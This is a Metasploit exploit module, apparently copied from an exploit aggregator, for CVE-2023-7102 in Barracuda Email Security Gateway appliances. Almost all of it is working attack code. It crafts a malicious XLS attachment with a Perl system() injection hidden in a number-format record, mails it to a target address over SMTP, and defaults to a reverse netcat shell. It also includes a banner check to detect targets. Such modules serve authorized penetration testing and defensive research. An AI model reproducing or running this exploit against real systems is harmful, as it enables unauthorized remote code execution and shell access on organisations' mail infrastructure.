Share
## https://sploitus.com/exploit?id=PACKETSTORM:221648
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::SMTPDeliver
    
      # BIFF8 Record Opcodes
      BIFF8_BOF = 0x0809  # Beginning of File
      BIFF8_EOF = 0x000A  # End of File
      BIFF8_CODEPAGE = 0x0042 # Code page
      BIFF8_WINDOW1 = 0x003D # Window information
      BIFF8_DATEMODE = 0x0022 # Date system
      BIFF8_FONT = 0x0031 # Font definition
      BIFF8_FORMAT = 0x041E # Number format string (payload injection point)
      BIFF8_XF = 0x00E0 # Extended format
      BIFF8_STYLE = 0x0293 # Style definition
      BIFF8_BOUNDSHEET = 0x0085 # Sheet information
      BIFF8_DIMENSION = 0x0200 # Sheet dimensions
      BIFF8_ROW = 0x0208 # Row definition
      BIFF8_NUMBER = 0x0203 # Floating point cell
    
      # BIFF8 Constants
      BIFF8_VERSION = 0x0600
      BOF_WORKBOOK = 0x0005
      BOF_WORKSHEET = 0x0010
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Barracuda ESG Spreadsheet::ParseExcel Arbitrary Code Execution',
            'Description' => %q{
              This module exploits CVE-2023-7102, an arbitrary code execution vulnerability
              in Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists
              in how the Amavis scanner processes Excel attachments using the Perl
              Spreadsheet::ParseExcel library.
    
              The library's Utility.pm contains an unsafe eval() that processes Excel
              Number format strings without validation. By crafting a malicious XLS file
              with a specially formatted Number format string containing Perl code, an
              attacker can achieve remote code execution when the ESG scans the email
              attachment.
    
              This module dynamically generates a minimal BIFF8 XLS file with the payload
              embedded in a FORMAT record using Rex::OLE. Payload constraints: no ']' (terminates
              format string) or single quotes (breaks Perl eval injection).
    
              This vulnerability was exploited in the wild by UNC4841 (China-nexus threat
              actor) starting November 2023. Barracuda deployed automatic patches on
              December 21, 2023.
    
              Affected versions: Barracuda ESG 5.1.3.001 through 9.2.1.001
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Mandiant',             # CVE-2023-7101/7102 discovery
              'haile01',              # CVE-2023-7101 XLS payload technique
              'Curt Hyvarinen'        # Metasploit module
            ],
            'References' => [
              ['CVE', '2023-7102'],
              ['CVE', '2023-7101'],
              ['URL', 'https://github.com/haile01/perl_spreadsheet_excel_rce_poc'],
              ['URL', 'https://trust.barracuda.com/security/information/esg-vulnerability'],
              ['URL', 'https://cloud.google.com/blog/topics/threat-intelligence/unc4841-post-barracuda-zero-day-remediation'],
              ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-7101']
            ],
            'DisclosureDate' => '2023-12-24',
            'Platform' => 'unix',
            'Arch' => ARCH_CMD,
            'Privileged' => false, # Runs as scana user (Amavis scanner)
            'Payload' => {
              'Space' => 8192,
              'DisableNops' => true,
              'BadChars' => "]'\x00" # ] terminates format, ' breaks eval, null terminates
            },
            'Targets' => [
              [
                'Unix Command',
                {
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_netcat'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options(
          [
            OptString.new('MAILTO', [true, 'Target email address on the ESG']),
            OptString.new('SUBJECT', [false, 'Email subject line (default: random)']),
            OptString.new('BODY', [false, 'Email body text (default: random)']),
            OptString.new('FILENAME', [false, 'XLS attachment filename (default: random)'])
          ]
        )
      end
    
      def check
        connect
        banner_str = banner.to_s
        if banner_str =~ /barracuda/i
          return CheckCode::Detected('Barracuda ESG detected in SMTP banner')
        end
    
        if banner_str =~ /ESMTP/i
          return CheckCode::Unknown('SMTP server detected, but cannot confirm Barracuda ESG')
        end
    
        CheckCode::Safe('No SMTP banner detected')
      rescue Rex::ConnectionError => e
        CheckCode::Unknown("Connection failed: #{e.message}")
      ensure
        disconnect
      end
    
      def exploit
        cmd = payload.encoded
    
        # Validate payload doesn't contain characters that break the injection
        if cmd.include?(']')
          fail_with(Failure::BadConfig, "Payload contains ']' which terminates the format string. Use a different payload.")
        end
        if cmd.include?("'")
          fail_with(Failure::BadConfig, 'Payload contains single quote which breaks eval injection. Use a different payload.')
        end
    
        @subject = datastore['SUBJECT']
        @body = datastore['BODY']
        @filename = datastore['FILENAME']
    
        @mailfrom = datastore['MAILFROM']
        @subject = Rex::Text.rand_text_alpha(rand(8..16)) if @subject.to_s.strip.empty?
        @body = Rex::Text.rand_text_alpha(rand(16..32)) if @body.to_s.strip.empty?
        @filename = "#{Rex::Text.rand_text_alpha(8)}.xls" if @filename.to_s.strip.empty?
    
        print_status('Generating malicious XLS with payload in FORMAT record')
        xls_data = generate_malicious_xls(cmd)
    
        print_status('Composing email with XLS attachment')
        email_data = generate_exploit_email(xls_data)
    
        print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}")
        send_message(email_data)
    
        print_good('Email sent successfully')
        print_status('Payload executes when Amavis scanner parses the XLS attachment (may take 30-90 seconds)')
      end
    
      #
      # Generate a malicious XLS file with payload embedded in FORMAT record
      # Uses Rex::OLE for OLE2 container and builds BIFF8 records dynamically
      #
      def generate_malicious_xls(cmd)
        # Build the malicious format string
        # Format: [>0;system('COMMAND')]0
        # The >0 comparison is always true for positive numbers, then Perl executes system()
        format_payload = "[>0;system('#{cmd}')]0"
        vprint_status("Format string payload: #{format_payload}")
        vprint_status("Payload length: #{format_payload.length} bytes")
    
        # Build BIFF8 workbook stream
        workbook = build_workbook_stream(format_payload)
    
        # Build BIFF8 worksheet stream
        worksheet = build_worksheet_stream
    
        # Combine streams (worksheet follows workbook globals in same stream)
        content = workbook + worksheet
    
        # Create OLE2 container using Rex::OLE
        xls_data = create_ole2_xls(content)
    
        vprint_status("Generated XLS size: #{xls_data.length} bytes")
        xls_data
      end
    
      #
      # Build BIFF8 workbook globals stream
      #
      def build_workbook_stream(format_payload)
        stream = ''.b
    
        # BOF - Workbook
        stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKBOOK))
    
        # Codepage (UTF-16)
        stream << biff_record(BIFF8_CODEPAGE, [0x04B0].pack('v'))
    
        # Window1 - basic window settings
        stream << biff_record(BIFF8_WINDOW1, window1_data)
    
        # Datemode - 1900 date system
        stream << biff_record(BIFF8_DATEMODE, [0x0000].pack('v'))
    
        # Font records (need at least 4 for XF records)
        4.times { stream << biff_record(BIFF8_FONT, font_data) }
    
        # FORMAT record - this is where our payload lives
        stream << biff_record(BIFF8_FORMAT, format_data(format_payload))
    
        # XF records (cell formatting) - need 21 built-in + 1 custom
        21.times { stream << biff_record(BIFF8_XF, xf_data(0)) }
        stream << biff_record(BIFF8_XF, xf_data(165)) # References our custom format
    
        # Style record
        stream << biff_record(BIFF8_STYLE, style_data)
    
        # Boundsheet - worksheet BOF offset = current stream length + this record's size + EOF record size
        # Pre-compute the BOUNDSHEET record size to calculate the correct absolute offset
        boundsheet_size = biff_record(BIFF8_BOUNDSHEET, boundsheet_data(0)).bytesize
        eof_size = biff_record(BIFF8_EOF, '').bytesize
        stream << biff_record(BIFF8_BOUNDSHEET, boundsheet_data(stream.length + boundsheet_size + eof_size))
    
        # EOF
        stream << biff_record(BIFF8_EOF, '')
    
        stream
      end
    
      #
      # Build BIFF8 worksheet stream
      #
      def build_worksheet_stream
        stream = ''.b
    
        # BOF - Worksheet
        stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKSHEET))
    
        # Dimension - 1x1 used range
        stream << biff_record(BIFF8_DIMENSION, dimension_data)
    
        # Row definition
        stream << biff_record(BIFF8_ROW, row_data(0))
    
        # NUMBER record - cell with value that triggers format processing
        # Row 0, Col 0, XF index 21 (our custom format), Value 123.0
        stream << biff_record(BIFF8_NUMBER, number_data(0, 0, 21, 123.0))
    
        # EOF
        stream << biff_record(BIFF8_EOF, '')
    
        stream
      end
    
      #
      # Create OLE2 compound document containing the workbook stream
      #
      def create_ole2_xls(content)
        # Create temporary file for Rex::OLE
        tmpfile = Rex::Quickfile.new('msf-xls')
        tmppath = tmpfile.path
        tmpfile.close
    
        begin
          stg = Rex::OLE::Storage.new(tmppath, Rex::OLE::STGM_WRITE)
          fail_with(Failure::Unknown, 'Failed to create OLE storage') unless stg
    
          stm = stg.create_stream('Workbook')
          fail_with(Failure::Unknown, 'Failed to create Workbook stream') unless stm
    
          stm << content
          stm.close
          stg.close
    
          # Read the generated file
          xls_data = File.binread(tmppath)
          xls_data
        ensure
          File.delete(tmppath) if File.exist?(tmppath)
        end
      end
    
      # BIFF8 Record Helpers
    
      #
      # Build a BIFF8 record: opcode (2 bytes) + length (2 bytes) + data
      #
      def biff_record(opcode, data)
        [opcode, data.bytesize].pack('v2') + data
      end
    
      #
      # BOF record data
      #
      def bof_data(sheet_type)
        [
          BIFF8_VERSION,   # BIFF version
          sheet_type,      # Sheet type (workbook or worksheet)
          0x0DBB,          # Build identifier
          0x07CC,          # Build year
          0x000000C1,      # File history flags
          0x00000006       # Lowest BIFF version
        ].pack('v4V2')
      end
    
      #
      # Window1 record data
      #
      def window1_data
        [
          0x0000,  # Horizontal position
          0x0000,  # Vertical position
          0x4000,  # Width
          0x2000,  # Height
          0x0038,  # Options
          0x0000,  # Selected tab
          0x0000,  # First displayed tab
          0x0001,  # Selected tabs count
          0x00E5   # Tab bar width ratio
        ].pack('v9')
      end
    
      #
      # Font record data
      #
      def font_data
        font_name = 'Arial'
        data = [
          0x00C8,           # Height (200 twips = 10pt)
          0x0000,           # Options
          0x7FFF,           # Color index
          0x0190,           # Font weight (400 = normal)
          0x0000,           # Escapement
          0x00,             # Underline
          0x00,             # Font family
          0x00,             # Character set
          0x00,             # Reserved
          font_name.length  # Name length (byte string)
        ].pack('v4vC5')
        data << font_name
        data
      end
    
      #
      # FORMAT record data - contains our payload
      #
      def format_data(format_string)
        # FORMAT record structure for BIFF8:
        # - 2 bytes: format index (custom formats start at 164)
        # - 2 bytes: string length (character count)
        # - 1 byte: encoding flag (0 = compressed/Latin-1, 1 = UTF-16)
        # - variable: string data
        format_index = 165
    
        data = [
          format_index,
          format_string.length,
          0x00 # Latin-1 encoding (single byte per char)
        ].pack('v2C')
        data << format_string
        data
      end
    
      #
      # XF (extended format) record data
      #
      def xf_data(format_index)
        [
          0x0000,        # Font index
          format_index,  # Format index (0 = General, 165 = our custom)
          0x0001,        # Type/protection flags
          0x00,          # Alignment
          0x00,          # Rotation
          0x00,          # Text properties
          0x00,          # Used attributes
          0x00000000,    # Border colors
          0x00000000,    # Border lines
          0x00000000     # Pattern/background color
        ].pack('v3C4V3')
      end
    
      #
      # Style record data
      #
      def style_data
        [
          0x8000,  # XF index with built-in flag set
          0x00,    # Built-in style ID (Normal)
          0xFF     # Outline level
        ].pack('vCC')
      end
    
      #
      # Boundsheet record data
      #
      def boundsheet_data(sheet_offset)
        sheet_name = 'Sheet1'
        data = [
          sheet_offset,       # Absolute offset to BOF
          0x00,               # Sheet state (visible)
          0x00,               # Sheet type (worksheet)
          sheet_name.length   # Name length
        ].pack('VCC C')
        data << sheet_name
        data
      end
    
      #
      # Dimension record data
      #
      def dimension_data
        [
          0x0000,  # First row
          0x0001,  # Last row + 1
          0x0000,  # First column
          0x0001,  # Last column + 1
          0x0000   # Reserved
        ].pack('v5')
      end
    
      #
      # Row record data
      #
      def row_data(row_num)
        [
          row_num,  # Row number
          0x0000,   # First defined column
          0x0001,   # Last defined column + 1
          0x00FF,   # Row height
          0x0000,   # Reserved
          0x0000,   # Reserved
          0x0100    # Options
        ].pack('v7')
      end
    
      #
      # NUMBER record data
      #
      def number_data(row, col, xf_index, value)
        data = [row, col, xf_index].pack('v3')
        data << [value].pack('E') # 64-bit IEEE 754 double (little-endian)
        data
      end
    
      #
      # Generate MIME email with XLS attachment
      #
      def generate_exploit_email(xls_data)
        msg = Rex::MIME::Message.new
        msg.mime_defaults
        msg.from = @mailfrom
        msg.to = datastore['MAILTO']
        msg.subject = @subject
    
        msg.add_part(@body, 'text/plain', nil, 'inline')
        msg.add_part_attachment(xls_data, @filename)
    
        msg.to_s
      end
    end